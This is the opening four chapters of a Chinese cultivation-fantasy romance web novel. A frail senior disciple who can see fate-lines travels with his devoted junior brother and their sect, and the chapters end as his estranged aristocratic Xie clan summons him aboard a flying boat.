《大师兄到底揣了谁的崽》 1. 命运线 “昔我往矣,杨柳依依。 今我来思,雨雪霏霏。” 风中传来悠长哀婉的歌唱声,重重丝弦荡开,仿若天外清幽之声,如玉石相击,又如飞泉漱玉。 城外空旷,将箜篌与歌唱声拉长得寂寥悠远。 金色太阳在大路的尽头缓缓升起,大路中央,白马踏着黄沙飞尘而来,将身后风景模糊成一片没有生机的灰白。 马背上,谢青珩手持箜篌演奏着《采薇》。 他穿着淡褐色粗麻长袍,头戴等身幂篱,怀中箜篌泛着盈润的玉质光泽,行于其上的,却是比玉石还要细腻雪白的手。 细长手指轻盈地跳跃在丝弦之上,或轻或重地拨弄,而丝弦若隐若现,远远望去,那双莹然素手仿若于虚空之中弹奏,随性自然地拨动着每一缕光线,清晨的阳光穿透白纱,勾勒出幂篱中他的一点影子,而薄雾环绕他身,远望犹如神仙临尘。 一曲奏毕,谢青珩眼前有些模糊,怀中的箜篌在脱手瞬间化为一道流光没入幂篱之中。 紧接着,背后贴上一具年轻的、热气腾腾的胸膛,少年毫不见外地将谢青珩揽入怀中,前倾身子,随手掷出手中剑,长剑在空中挽了半圈,剑柄精准地命中马屁股,白马“嘶嘶嘶”叫起来,原本慢跑的速度陡然提升。 他们身后,相距不过十几丈的灰白之色活过来般紧追不舍。 颗颗分明的灰白粒漂浮于空中,轻易覆盖掉黄土本身的颜色,冰寒诡秘的气息顺着白马踏过的地方蔓延,仿佛有人匍匐在地,悄无声息地伸出细长苍白的手,欲要环抱住马蹄。 “好胆!”少年厉喝,长剑早有预判地划下,顿时传来血肉被利器割裂的声音,又再某一刻变得格外钝,仿若陷进了骨头。 剑身轻吟一声,所有阻碍荡然无存,一颗嶙峋的石子从空中坠落,翻滚过好几圈后被长剑稳稳接住。 剑尖挑起,石子准确地落入红袋之中。 少年挑挑眉道:“这只尘烬真是能藏,大师兄,你看看都清理完了吗?” 一道清越之声从白纱之中传出,谢青珩感知着丝弦,确认一番后说道:“对,言旭,你现在变厉害了。” 谢青珩想到被尘烬围住的小孩,哭得一塌糊涂还要抽抽噎噎地自我欺骗。 如今,也是能带着他从尘烬中自由出入的修士了。 叶言旭眼睛瞬间变得亮晶晶,他心念一动,白马嘶嘶叫着,马蹄如飞,左右林立的山岳瞬间化为一道道虚影。 面对突然加快的速度,谢青珩下意识控住缰绳,减缓失重感,却无法阻止背后炙热的胸膛,少年灼热的气息隔着白纱喷洒在他耳畔,让谢青珩不自觉低下头。 “言旭,不可。”谢青珩轻声道,可那双颜色少深的大手依旧覆上他手背,少年独有的热气叫他脸颊一阵发热,手上力气也小了不少。 叶言旭身姿高挑,即使成年不久,也已经高出谢青珩不少,下巴能够轻易地搁在他肩上。 “为什么?”叶言旭剑眉星目的脸上盛满疑惑。 谢青珩脸上发烫,不知该如何向一手带大的小师弟说明他们此时的姿势不妥,只得含糊应道:“于礼不合。” 叶言旭嘟囔道:“哪有什么于礼不合,我这分明是为了保护师兄,再说了,大师兄以前也是这么和我骑马的。” 谢青珩抽出自己的手,低声道:“你长大了。” 更重要的是,谢青珩不敢细想下去,自从叶言旭成年那夜无意识的吻后,谢青珩和他单独相处的时候总觉得怪怪的。 少年炽热的气息提醒着他,这已经不再是个小孩了。 “我长大了就不算大师兄的师弟了吗?”叶言旭不满道。 他是临渡峰最小的弟子,天资卓越,自小有师兄师姐捧着,更别说一手照料他长大的大师兄,可谓是又当慈母又当慈父,从没对他红过脸。 因此,叶言旭很不满谢青珩此时的推拒。 叶言旭干脆地抓住谢青珩的手,胡乱揉搓几下道:“大师兄手都冰了,我替大师兄暖暖怎么了?” 谢青珩看着叶言旭握住自己的手,叶言旭修道以来,力气逐渐增大,再也不似当年提不起剑的小孩。 少年身上火气很足,加之成为修士后元阳未泄,跟个大火炉似的,不多时就暖热了谢青珩的手。 谢青珩正欲说些什么,身体忽然僵住,太阳穴处更似刀劈斧凿,只是一瞬间,谢青珩的意识脱离了孱弱的身体,视线所及之处,白马上的两人被沉重的灰色扭曲。 叶言旭瞬间觉察到谢青珩的不对劲,他从袖中掏出白瓷品,倒出一粒深褐色的药丸后,迅速喂到谢青珩唇中。 药丸入口即化,药液流入喉管,渐渐作用于谢青珩僵直的四肢。 谢青珩只数了三声,意识重新回到身躯。 幂篱白纱之下,他轻阖着的眼,整个人无力地躺在叶言旭怀中,少年人滚烫的体温让他放松下来。 叶言旭脸色沉沉,将头埋进谢青珩肩颈,气音道:“大师兄,下次让我一个人来就好。” 谢青珩缓了缓说道:“小师弟嫌大师兄碍事了?” “不是!”叶言旭急忙道,“可是万一我不在大师兄身边怎么办?” “万一、万一大师兄从马上落下来了,怎么办……” 谢青珩轻轻叹息,安慰似的抚摸白马,“我相信你呀,再不济,还有追月带我回去呢。” 叶言旭道:“可是……” 谢青珩打断他,认真道:“可是大师兄不想做师门里的废人。” 旋即,谢青珩开玩笑道:“幸好我还会一手箜篌,否则都不敢随你们参加宗门大典了。” 叶言旭飞快道:“大师兄不是废人!没有大师兄,光凭那个老东西,还算什么师门!” “言旭,不许这么没礼貌。” 谢青珩说话重了些,一时没有听到叶言旭的声音,不由得担忧地再叫了声他名字。 叶言旭蹭在谢青珩颈边,闷声道:“大师兄好凶。” 谢青珩感受着身上的温度,默了默,还没来得及开口,就被叶言旭打断:“再让我抱抱,就原谅你了。” 得到谢青珩默许后,叶言旭又蹭了一会儿,后来嗅到谢青珩身上的幽香后,就跟小狗似的闻个不停。 直到抵达城门,他才抬起头来,恢复成往日少侠的模样。 叶言旭翻身下马,又伸出手去扶谢青珩下来。 守城的士兵已经认得他们,便笑道:“叶少侠和谢大家又出去清理尘烬啊?” 叶言旭微微扬起下巴,唤剑名:“何归去。” 长剑呼啸而来,叶言旭握住剑柄道:“幸不辱命,城外十里的尘烬已经清理完毕。” 谢青珩好笑地看着这一幕,对眼巴巴看着他的士兵道:“我已经用箜篌试过,确实没有什么隐患了。” “多谢各位玄天宗的高徒,我白首城真是感激不尽!” 一连串的感激围过来,谢青珩还没什么反应,叶言旭就站到他身前,挡住那些士兵道:“道谢可以,走这么近就没什么必要了啊。” 谢青珩毫无预备地被叶言旭握住手,听着面前人用认真的语气道:“他是我的大师兄,我的。” 周遭爆发出一阵哄笑声:“叶少侠还没断奶呢,这么依赖师兄!” 叶言旭耳尖通红,却没有松开。 谢青珩上前一步,对周围人说道:“小师弟年少,还望诸位多多包涵。” 又是一阵善意的笑声。 谢青珩看着叶言旭小狗似的跟人打闹,嘴角勾起浅浅的笑意,只是还没来得及加深,就在抬头的一瞬间猛然僵住。 城墙之上,不知何时沾了一个戴着黑色兽纹面具的人。 谢青珩瞳孔缩紧,目光却移向那人的头顶,紫金色的气运之柱直冲云霄,与周遭或灰白或漆黑的命运线形成鲜明对比。 白首城何时来了这么个人? 谢青珩下意识握紧叶言旭,后者感受到手上传来的力道,当即看回来,寻着谢青珩的目光看过去。 叶言旭眉头一皱,问道:“那是谁?藏头露尾的。” 守城士兵解释道:“是种道会的仙师们。” “夜巡使不能及时赶回,于是嘱托仙师护持我白首城一二。” 谢青珩略微点头道:“原来如此,难怪城外的尘烬不多。” 游历四方,谢青珩也曾听过种道会的传闻,一个民间互助组织,这么多年来游走各方,只是为了清除尘烬之祸,护佑百姓。 因着消除尘烬的难度,种道会筛选的标准很高,谢青珩偶 尔看过的几个或蓝或紫的命运线基本都是他们。 想到此处,谢青珩朝城墙上的面具人轻轻点了下头。 面具人目光微敛,静静地看着谢青珩。 叶言旭拉住谢青珩道:“大师兄快走吧,跟怪人有什么好说的,师父他们肯定等急了!” 谢青珩无奈一笑,默许叶言旭牵着他向前走。 白马默默跟在他们身后,缓缓入城。 叶言旭进城后就拉着谢青珩到处看,偶尔还拿起小摊前的发簪朝谢青珩比划。 谢青珩看着他们交织在一起的手,笑道:“这时候怎么不急了?” 叶言旭一边付钱,一边道:“那个人一看就不好惹,我现在只是伏流中期,万一他看到大师兄的相貌,不肯放我们走了怎么办?” “哪会有这么多人在乎相貌?” 叶言旭支着下巴道:“上次是谁被接亲的妖虎追了一路,上上次又是谁被登仙台的老修求娶,上上上次……” “好了好了,叶言旭你现在就跟个小老头似的。” “那我说的是不是真的?”叶言旭歪头盯着谢青珩的幂篱,“还好老东西给做了件幂篱,不然又要惹多少烂桃花。” 谢青珩不赞同道:“又来了,叶言旭,不许再这么说师父。” 叶言旭撇撇嘴:“本来就是,要不然大师兄和我打个赌?” “赌什么?” “赌那个老东西有没有把我们的路费输完。” 谢青珩轻轻摇头:“不会的。” 叶言旭不知道该说什么,索性拽着谢青珩的手腕走向白首城中最大的赌坊。 谢青珩由着叶言旭拉着他向前走,顺带将发簪收进腰间锦袋。 他五脉俱绝,灵气不生,本用不上储物袋,是师父周侧百般探索,单独为他炼制了这件凡人能用的储物袋。 谢青珩知道师父和叶言旭之间的矛盾不是一时可以调和的,想到先前那遭,还是忍不住多说了几句。 叶言旭当即捂着脑袋摇头,随后更是牵着谢青珩迅速走进市集。 白首城作为方圆百里唯一的人族聚集地,不可谓不热闹,小摊小贩处处聚集,凡民四处走动,不时传来高昂的喊叫声。 外城生活的大都是没有修炼资质的凡民,因着夜巡司的庇护,得以繁衍生息,于是人口也格外繁茂。 还能看到一长串的小孩从小摊贩背后冒出,又没入阴暗的长巷,他们魂体明亮,尚能在槐树的阴影中走过,而那些残缺不全的鬼魂明明灭灭,融于槐树之中,不能走进阳光中。 随处可见的都是人和鬼。 谢青珩抿唇,直视他们头顶的方向,无数条命运线交错横织,在他眼中绘成一幅幅清晰可见的图画。 都是灰白的。 就如同他一路走来看到的所有凡民那样。 谢青珩没能从任何人身上看到改命的可能,就如天机阁断言的那样,凡民终其一生都只能是凡民。 无论是为人还是为鬼时。 二十年来,谢青珩所观测的命运线仅有黑、灰、白、蓝、紫五种。 黑线代表即将到来的厄运。 灰线代表运势跌落。 白线代表普通一生。 唯有蓝色及以外的颜色代表能踏上仙路。 幂篱下,谢青珩的神色越发悲悯,他也是凡民。 只不过他有一双能够看穿命运的眼睛。 可这些不足以让他弥补凡民到修行者的距离。 而他的小师弟,如今年仅十八便已经是第一境伏流中期,更有进入第二境登仙台的机会。 等他白发苍苍、垂垂老矣之时,他一手教养长大的师弟却仍青春年少,大有可为。 叶言旭停下,笃定道:“大师兄,我们去看老东西到底在干什么。” 谢青珩轻轻抽出手,点了下头。 叶言旭不明所以,空出的手心让他心中一阵发虚,少年英俊的相貌上满是疑惑。 可谢青珩不再如以往解释。 叶言旭皱眉,但他早已被谢青珩惯坏了,不能容许丝毫失去的可能。 谢青珩迈步向前,手腕又被捉住,回眸时,叶言旭理所应当地握住谢青珩微凉的手道: “我带你进去,大师兄。” 2. 同门 白首城是边城中的边城。 与它对立的是积年不变的尘烬,即使有各地修士帮忙,白首城依然要面临随时有尘烬入侵的情况。 朝不保夕之下,赌坊这类具有强烈刺激性的场所就是最好发泄的地方。 谢青珩目光扫过围着赌桌大小圈的赌徒,眼神微沉,他握紧叶言旭的手,轻声道:“跟着我,不要走散。” 叶言旭到底只是个十八岁的少年,即使努力做出见多识广的样子,但也回握住谢青珩的手,牢牢跟在他身后。 谢青珩的手无疑是漂亮的,叶言旭低头看着手中白玉凝脂般的温软,可叹一句玉指芊芊,恍若削葱根。 叶言旭眼神微敛,想起什么,随后猛地移开视线,却恰好对上一双炙热的眼睛。 那人头戴玉冠,腰佩青玉,面容俊秀,俨然一副浊世佳公子,此时却一副垂涎三尺的模样盯着谢青珩与叶言旭相交的手。 这种眼神叶言旭再清楚不过,他快速拉着谢青珩的手藏在幂篱薄纱下,眼神锐利地回望过去,恐吓般龇牙。 幂篱能够隔绝凡民的窥伺,却难以阻挡来自修士的目光。 这时候,就该叶言旭发挥作用了。 谢青珩以为是叶言旭不习惯这种氛围,毕竟在叶言旭成年之前,谢青珩三令五申不准小师弟进入赌坊青楼。 这还是谢青珩第一次带叶言旭进来。 于是他温声开口道:“不习惯吗?要不然还是去外面等着?” 叶言旭当即拒绝:“那怎么行?万一又有轻薄人烦扰大师兄怎么办?” “再说了,出门前二师姐特别交代过了,”叶言旭一板一眼道,“必须要寸步不离跟紧大师兄。” 他们可太明白谢青珩的体质了,哪怕戴着幂篱,白纱等身,谢青珩走路时不经意露出的手腕、衣带间的幽香,都能惹来一些不怀好意的觊觎。 紧跟大师兄,是他们行走修仙界的第一任务。 谢青珩气血有亏、命数坎坷,对外界异常的感知完全依赖于命运线和师弟师妹的提醒。 因此全然不知道自己会惹来什么危险。 谢青珩盯着上空浮动的命运线,脚步沿着最省力的方向移动,而偏偏他走的每一步都没撞上人。 随着他们的移动,赌坊形成了一条泾渭分明的线。 那位浊世佳公子忽然以折扇拦路,笑道:“家父夜巡使赵乾坤,鄙人姓赵名无极,敢问佳人姓名?” 谢青珩奇怪地看了他一眼。 倒是叶言旭反应激烈,用剑鞘挑开折扇道:“干什么!” 赵无极不在意地打开折扇,摇动间香风拂面,表情更加耐人寻味。 人未至,香先来。 所过之处,香气盈鼻。 却不是厚重的脂粉气,而是轻盈自然,仿佛花苞吐蕊时散发的第一缕香气,愈淡愈叫人魂牵梦萦,愈浓愈叫人恨死花间。 不知白天黑夜的赌徒闻到这缕清香后,下意识让出了道路,身体却将他走过的地方嗅了再嗅。 偏僻的边城还未有如此连身上香气都颠倒神魂的人。 赵无极自诩花间客,满城上下还未有他看走眼的佳人,只那截凝脂般的手腕,只那缕飘来的香气,他便知道这就是他要等的绝世佳人。 “佳人身边总是要有只烦人的恶犬,”赵无极轻摇折扇,“如此高岭之花,当为我一看。” 谢青珩望着赵无极头顶的丝线道:“你叫赵无极,天地无极的的无极吗?” 赵无极嘴角勾起:“佳人果然博学。” 谢青珩却道:“你命数太薄,当不起这般深重的名字。” 赵无极脸色微僵:“佳人何必如此挖苦于我?” 叶言旭顿时眉眼舒展道:“听到没有,还不快走,好狗不挡道!” 赵无极不甘心道:“家父夜巡使赵乾坤,乃是登仙台的修士,家母早亡,却是谢家女,膝下唯有我一个儿子,佳人难道真不心动吗?” 谢青珩实话实话:“你换个名字吧,还有就是,我是男的。” 赵无极头顶蓝色气运恍若即将扯断的丝线,只要施加一点力量便会如风中纸鸢,倏忽坠落于地。 无极这个名太重,他承担不起。 赵无极脸色难看,坚定想法强撑道:“美人不分男女,可否邀公子一聚?” 叶言旭用手臂挡开他,眉宇间尽是桀骜:“没听我大师兄说的吗?快滚!” 谢青珩坦然地从赵无极身边走过,因觉被羞辱的男人腾挪旋转,试图用折扇撩开白纱。 但他折扇还未触碰到,叶言旭推开剑柄,寒光一线,折扇瞬间分为两截。 “找死。”叶言旭动了怒气。 谢青珩若有所思地看着叶言旭,忽然扯了扯他的袖子道:“快走。” 赵无极愣在原地,任由那阵香风轻轻拂过他脸颊,而后变得极清极淡,最后仿若一把小勾子落在他鼻尖上。 方才那番动作下,竟然荡开一点白纱,让他得以窥见一点绝景。 仿若雪山上高悬的孤月。 雪色与月色交响辉映,冷意窜上心头,肌肤做出反应,月光也仿佛带着清凌凌的寒意,九天上的素白飘飘然落于眼前,一线之间,天地黯淡,唯有他身上的雪色与月色绽放。 唇色淡如三月枝头桃花,勾勒出起伏的唇峰和饱满的唇瓣。 仅是半面,便足以让人心魂跌宕,不可自拔。 谢青珩径直走向热火朝天的赌桌,对正在下注的中年男人:“师父,我们该走了。” 中年男人笑嘻嘻的,将原本还算不错的皮相毁得一干二净,任是谁来也不会想到,这个于市井凡民混在一起的人是临渡峰峰主,已经登仙台的修士,周侧。 周侧头也不抬地说道:“青珩来了?再等一会儿,为师马上就要赢了。” 谢青珩观察着周侧,在赌局即将开始前,让叶言旭将周侧的筹码都捞了回来。 “你今天不能再赌了,”谢青珩看了眼周侧身边,问道,“雨眠他们呢?” 周侧检查着筹码说道:“他们啊,嫌这里太无趣,出去找乐子了。” 谢青珩看了眼周侧袖口,语调收紧道:“把他们放出来吧。” “嘿,你怎么又猜到了?” 叶言旭嘲讽道:“这还用猜吗?” 周侧斜睨了眼叶言旭道:“小子,你不会不知道尊师重道这四个字该怎么写吧?” “你先能……”叶言旭话还没说完。 谢青珩打断他道:“师父,快点。” 周侧领着他们往外走:“知道了知道了,等出去就放他们出来。” “还有,”周侧忽然转过身,盯着两人交叠的手道,“不是为师说你,青珩,他都成年了,你还这么惯着他,小心这小子找你要奶喝!” “你说什么呢老东西!” 周侧冷笑道:“说你呢,小屁孩。”< /p>叶言旭气狠了,刚想拔剑,却发现自己使不出丝毫力气,顿时反应出是谁做的了。 “老东西,快给我解开!” 周侧头也不回说道:“教教你什么是尊师重道,青珩吾徒,这小子就交给你了。” 谢青珩无奈地捏捏叶言旭的手,带着他向前走:“你说你,惹师父干什么?” “还不是他……”这回不是被打断,而是叶言旭压根说不出话来。 他呜呜几声,前面走着的周侧抖抖肩膀,显然很得意。 谢青珩都不知道该说什么了,他没有法力,只能和叶言旭挨得更紧。 出了赌坊,他们跟着白马走到空旷之处,周侧手一挥,袖口飞出几道光芒。 蓝衣女子正在打坐修行,灰衣男子也是静默读着看不出年头的医书。 唯有两个长相一模一样的红衣女孩,袖口飞出红绫,随着她们手臂挥舞发出阵阵破空声。 发现自己出来后,蓝衣女子和灰衣男子默默站起身。 两个正在打斗的红衣女孩却攻势一变,红绫宛若活蛇直直射向周侧:“老东西,拿命来!” 周侧眼也不抬,清点着自己从赌坊得来的战利品。 红绫漫天飞舞,再也分不清来处,周侧置身其中,仿若即将被无数红蛇绞杀,可紧接着,他身体一震,凄美的红绫便如火烧般截截化为灰烬。 两个红衣女孩闷哼一声,嘴角渗出几缕鲜血,内脏损伤大半,可她们眼底的战意愈发浓厚,两人位置倒转,又要朝周侧发起进攻。 谢青珩连忙拦住她们道:“玄英、玄凤,还不住手!” 原本战意昂扬的女孩们闻言瞬间停下动作,不情不愿道:“大师兄!老东西、咳咳,师父又为了去赌钱把我们关进来了!” “你快看看他是不是把我们回宗的路费都输进去了!” 周侧轻哼一声,扬起手中的灵石票道:“这次可让你们失望了,为师可是足足赢下了一百块中品灵石呢。” 玄英、玄凤当即换上一副喜悦的神情,围上来摸着灵石票道:“大师兄,师父这次真赢钱了!” “师父、师父,我们今天去食味楼四层吃饭好不好?” 食味楼分布极广,食物美味随着楼层数节节攀升,玄英玄凤最喜欢的就是第四层的食物,当然也可能是因为周侧最多只带他们去第四层。 周侧嘴角上扬,拍了拍袖子道:“再叫几声,师父晚上就带你们去。” “师父!” 叶言旭别过脸,翻了个很明显的白眼。 “师父,不可随着四师妹性子来,”蓝衣女子走上前,是谢青珩的二师妹,江雨眠,腰间软鞭格外引人注目,“再说了,算上这次,师父还是输了宗门给的一千块中品灵石,而要坐传送阵去宗门的话,我们还需要至少一千块的中品灵石,才能去到离这里最近的传送阵回去。。” 灰衣男子,也是谢青珩的三师弟,也赞同道:“二师姐说的没错,师父,要不然在此停留七天,我也好行医坐诊赚些路费。” 周侧满不在乎道:“雨眠,京墨,你们就是想太多了,再说,还有人上赶着给我们送钱呢。” “这还是托你们大师兄的福。” 谢青珩奇怪道:“我?” 周侧转过身,继续数钱,刹那间票据消散,他深吸一口气:“谢家想请你一聚。” “这不,”周侧瞥眼道,“他们终于找来了。” 3. 世家 “早闻临渡峰峰主大名,如今一见,果然名不虚传。” 身着藏蓝色衣袍的人缓缓走来,他生得清隽,周身自有一股若隐若现的傲气,挂在腰上的玉牌随着他的走动显现出一个繁复的谢字。 他身后,亦有六位穿浅蓝色的奴仆低眉顺眼、亦步亦趋。 自赌坊追出来的赵无极看到他们的瞬间脸色陡然一变,顿时愣在原地不敢出声。 这群人排场很大,引得许多人驻足观看,但稍有阅历的,很快惶恐离去。 城中巡视的士兵迅速铺开,厉声驱散围观着的凡民,于闹市之中清理出一块难得的清静之地。 赵无极因着父亲的威名,被士兵请到旁边,小声重复了边自己的介绍词,话还没有说完,两个健壮的侍卫客气地将他请走,没有一丝商量的空间。 赵无极反抗不得,看到那位他父亲都要以礼相待的年轻人对他看上的美人拱手行礼道: “谢家旁支宥安,奉家主命,来接大公子一聚。” 谢青珩望着他头顶上的蓝紫色光柱,疑惑道:“我不是已经去信了吗?” 谢宥安道:“家主思念大公子,想在大典前见一见大公子。” 谢青珩想了一下,道:“那好吧。” 叶言旭拉住谢青珩袖子,警惕道:“十多年都没来人,大师兄仔细想想。” “我想过了,”谢青珩轻声开口,“正好让他们带我们去玄天宗,还能省一笔路费。” 周侧闻言喜笑颜开,拉着谢青珩去了另一边道:“真是为师的好徒儿,等为师回去,一定要让祖师好好看看你!” “那什么,”周侧想了会儿,不耐烦的对谢宥安身边的侍卫道,“还不带我们过去!” 谢宥安好脾气道:“我叫谢宥安,请峰主莫怪,我这就请峰主过去。” 周侧点了头,他们就只能随周侧的意思跟谢宥安一行人走。 谢青珩走在队伍中央,前面是周侧大步流星的背影,左边是二师妹江雨眠,右边是三师弟曾京墨,后面是两个红衣四师妹。 最小的师弟没了位置,自然不肯罢休,硬是盯着玄英和玄凤不善的眼神挤了进去,甚至于握住了谢青珩的手。 叶言旭也觉得这个位置有些挤,可惜,他如今不过是伏流中期,玄英玄凤却已经深谙伏流后期,师姐师兄也距离登仙台一步之遥。 谢宥安站在他们两步远的距离,轻声诉说着谢家主对孙儿的思念,末了,他望着谢青珩等身的白纱道:“大公子既然为我谢家子弟,便不用再学藏头露尾的事情,这幂篱还是摘了为好。” 闻言,谢青珩望向他,白纱轻动,清香愈发馥郁。 谢宥安不由得愣住,望向谢青珩的目光有些疑惑。 谢青珩还没有开口,江雨眠却先皱了眉头道:“谢家就是如此指摘我大师兄的行事?” 曾京墨笑眯眯地看过去,眼中是遮不住的寒光。 玄英玄凤更是直接道:“你想和我们打一架吗?” “你算什么东西,”叶言旭护住谢青珩道,“这可是老、师父专门给大师兄炼的灵器!” 谢宥安面皮一抖,眼中疑惑尽数散去,笑道:“原来是峰主所作,恕宥安不知礼,只是大公子虽然久居外所,也不能忘了自己是谢家人。” 谢青珩摇头:“那得等我见过谢家主再说。” “大公子,你该称祖父才是。” “哦,那就等我见过祖父再说。” 谢宥安默了一瞬,选择跳过这个话题,介绍起谢家近况道:“玉灵小姐如今正在筹备登仙台之事,大老爷特意为她求了玄天宗高座庇佑,随雨公子天资虽不如玉灵小姐,但幸有大夫人看顾,如今也是伏流后期的修士了。” “他们是谁?”谢青珩疑惑道。 “玉灵小姐是大公子同父异母的妹妹,随雨少爷是大夫人娘家的外甥。” 谢青珩点下头:“哦,我知道了。” 如同恢复平静的湖面,看不出涟漪存在的痕迹。 叶言旭却在此时咬耳朵道:“大师兄别伤心。” 谢青珩轻轻笑了下,并不在意。 白首城内只有一处供飞舟停泊的地方,而谢家身为世家之首,派头很足,整个停泊处只能看到那一艘中型飞舟。 雕梁画栋,飞檐勾角。 桅杆直通天际,红色风帆扬起,猎猎风声仿若送别时肃穆宏大。 甲板上,站着一群身着谢家衣裳的人。正淡淡地俯视着他们。 等到谢青珩一行人走进了些,高处才缓缓放下船梯。 谢青珩注视着谢宥安和他身边的仆人,命运线最淡的也是浅蓝色,分明是已经步入仙途的修士。 除了谢青珩,没人需要狭窄高耸的船梯。 这分明是个下马威。 谢青珩微微仰头注视上方看不清脸的人,他隐隐觉得不对,周遭的师弟师妹脸色很是不好,唯有师父周侧轻拍腰上钱袋,道:“乖徒儿们,为师就先上去了。” 周侧闻了闻味道:“食味楼的手艺还是这么好!” 他纵身一踏,飞升数丈,宛若天外陨石般落于甲板之上,震得整艘船都抖了几下,青黛色的瓦片相击发出清脆的响声。 谢宥安侧身温声道:“大公子还不登船吗?” 叶言旭拧紧眉头,还没呛出声就被谢青珩拦下,他声音如柳叶拂春水:“我自小身虚体弱,实在不敢如此劳神,但幸而我有白马一匹,可助我上青云。” 白马蹬蹬上前,蹭在谢青珩手边撒娇,白色鬃毛沐浴着阳光,金灿灿的,它忽而站定,仰头长啸,舒展姿态,一对微微泛金的庞大羽翼展开,宛若神话中的天马降临现实。 王朝一千年来,还未有此等天马现世。 谢宥安瞳孔收紧,尽管他极力压制自己的失态,但额上的青筋还是暴露了些许。 他虽为谢家旁支,但见识极广,自然认得出这匹天马的血统很不一般。 神采奕奕,羽翼强健,远非谢家圈养的那些天马可比。 谢青珩道:“追月。” 白马放松身体,好让谢青珩能够顺利蹬上。 谢青珩侧身坐于马上,幂篱白纱遮住他的身形,愈□□缈似仙,他抚摸着白马的鬃毛,白玉透光般的手掌行于流光之上,更生圣洁不可亵渎之意。 哪怕是谢宥安这种追名逐利之人,都不禁恍了神。 白马扇动羽翼,蹄下自生风云,毫不费力地托起谢青珩。 叶言旭昂头挺胸道:“这可是老东西专门为大师兄寻的天马,好方便大师兄出行罢了!” 师父如此,生身父母之家,却要一个身体虚弱的凡民强行登上中品灵舟。 谢宥安愧疚道:“周峰主云游四海,家中实在追寻不到踪迹,竟然忘了这回事情,是在下失职。” “可老爷夫人,实在挂念得紧,不然也不会一打听到消息,就遣在下来接大公子回家。” “装什么装。”玄英撇嘴,她牵着玄凤的手,两人袖口各自飞出红练, 绕过几圈后,便飞速上升,而后脚踏船舷,稳稳落在谢青珩身边。 江雨眠淡声道:“小孩子不懂事。” 她也用不着那条船梯。 曾京墨笑着问叶言旭:“小师弟,用不用二师兄带你上去?” 叶言旭脸瞬间黑下来,想起之前曾京墨笑着把他当个包袱乱甩的事情,道:“不用!” 等到所有人都上去了,叶言旭才转身对谢宥安说道:“我看你们世家也不过如此。” 他打量一番道:“伏流初期还这么狂,出去怎么死的都不知道。” 谢宥安脸色铁青,等人走后,才啐了口道:“真是没教养,大公子也被他们教坏了!” 叶言旭拦下要去接谢青珩下来的曾京墨道:“三师兄,我来吧。” 曾京墨看了看他们,意味不明道:“还是大师兄会教小孩,连小狼崽也能教成这样。” “曾京墨!”叶言旭气得脸色通红,都不叫三师兄了。 谢青珩扶着叶言旭温热的手臂下来,而后轻轻敲了敲曾京墨的肩膀道:“不许欺负师弟。” 叶言旭也跟着昂头,站在谢青珩身边的模样,看得曾京墨手痒痒。 谢青珩将视线移到前方背手等候的老人身上,虽然一言未发,但他身后的那些目光也已经替他说了话。 老人须发皆白,但精气神很足,他上前一步,恭声道:“恭迎大公子回府!” 周侧身前摆满了食味楼的盘子,残羹剩饭,显然已经战斗了一轮。 谢青珩看着周侧丝毫没有起身的样子,便明白面前的老人和他身后的人不足为惧。 老人名叫徐合,是谢家七十二外院管事之一,特意放下了手中事物,来白首城接待谢青珩和他的师门。 徐合虽然已经垂垂老矣,可到底还是伏流后期的修士,此时却收敛锋芒,仔细为谢青珩介绍一应事物。 谢青珩点头,跟随徐合的步伐进入楼阁时,一阵劲风袭来,剑鸣嗡然,寒光探入幂篱之中,挑起大半白纱,轻蔑笑道:“你就是我谢家的耻……” 那人声音顿时停住,如同见到什么不可思议之物般磕磕绊绊道:“你、你、……” 幂篱下,白纱中,是一张汇聚天地清灵之气的脸,肤冷如山上雪,双眸亮如点漆,仿若从清水而出,不加半点世俗雕琢,耳畔坠着单只箜篌样式的玉石,在他脸颊旁映着似真似幻的光晕。 他一身浅褐色衣衫,更衬得他素净无比,唇上浅淡的红色便是其中最明艳的色彩,叫人不得不加诸目光,探寻这到底是人还是雪山上的精怪幻化而生。 凡民生不出这般颜色,修行者子嗣艰难,天地不喜,更如何生出这般集天地灵气于一体的人? 剑刃挑起白纱,寒光也映照在谢青珩脸上,让周遭动静全然消失,天地失色,否则怎么叫他眼中全是谢青珩一人? 直到被叶言旭踢下去,那人眼中的痴迷仍未散去,白纱重新落下,他的心也重新跳动,越来越快,似乎要从胸腔中蹦出去似的。 “堂哥!”直到被彻底拉远,他才从幻梦中醒来,大喊道,“我是二房嫡子,我叫谢修远!” 谢青珩目光未有丝毫波澜,早已习惯旁人看到他真容时的反应。 可谢宥安等人心中却诧异不已,他们站得稍微后面,加上谢青珩被师门众人围着,根本没来得及看到谢青珩真容,但谢修远是主脉二房的嫡子,听闻谢青珩即将归家,特意来敲打一二。 谁想到下马威却落了个虎头蛇尾? 4. 绝色 周侧慢悠悠说道:“这就是谢家的待客之道吗?” “还是说,”周侧嘴角勾起,眼中却没有什么温度,“凭你们几个也敢狐假虎威?” 空气霎时一静,针落可闻。 周侧手中的酒杯“砰”的一声破碎,紧接着被碾作粉末,透明的酒水凝滞在空中,而后化为数道水剑抵住谢家人的喉咙。 “谢家真是夕阳西下了,否则怎么会派你们这些蠢货过来?” 谢宥安修为微薄,但也好歹是正经修士,在感知到眼前水剑隐含的威能时,便知道此事不能掩盖过去了。 他能预见,如果他们不能给周侧一个满意的答复,看起来无害的水剑就会毫不留情地贯穿他们的喉咙。 而他找不到任何能够躲避水剑的契机。 上下左右,所有看似生门的地方,反馈给他的只有一个信息:十死无生。 谢青珩也好奇他们为什么这么做。 二十三年来未曾有过音讯的家族,为何在宗门大典前找到他。 谢青珩看着谢家人头顶的命运线,主脉旁支的命运线交错盘桓,将他们身边所有人的命运都搅了进去,熟悉的感觉再次攥住他心神,一片蓝光中,似乎有金色穿行而过。 谢青珩心神大动,心头再度涌起渴求,本能告诉他要尽快抓住那缕金色,这对他大有裨益。 上一次出现这种情况,还是他们镇压河神之时。 也是谢青珩第一次能够自己感知周遭的灵气。 谢青珩长袖下的手不经意抬起,掩藏在层层白纱之中,他纤细如玉的手指轻动,如同拨动着看不见的丝弦。 蛊惑一般的声音在他耳畔响起,仿若沙漠旅人渴求着水源,仿若将死之人攥住最后的稻草。 谢青珩的本能先于思考的运用积累已久的【命运】左右他们的命运线。 几乎是在谢青珩拨动丝弦瞬间,他耳畔的箜篌耳坠散发出浅红色的光晕。 作为在场谢家人修为最高的老人瞬间心神不宁,仿佛大劫将至般摧垮他的意志,他体内流动的血液在这一刻陷入死寂。 可惜他们的修为实在浅淡,只品味到了死劫的味道,却找不到具体来源,最后只能归结到周侧身上。 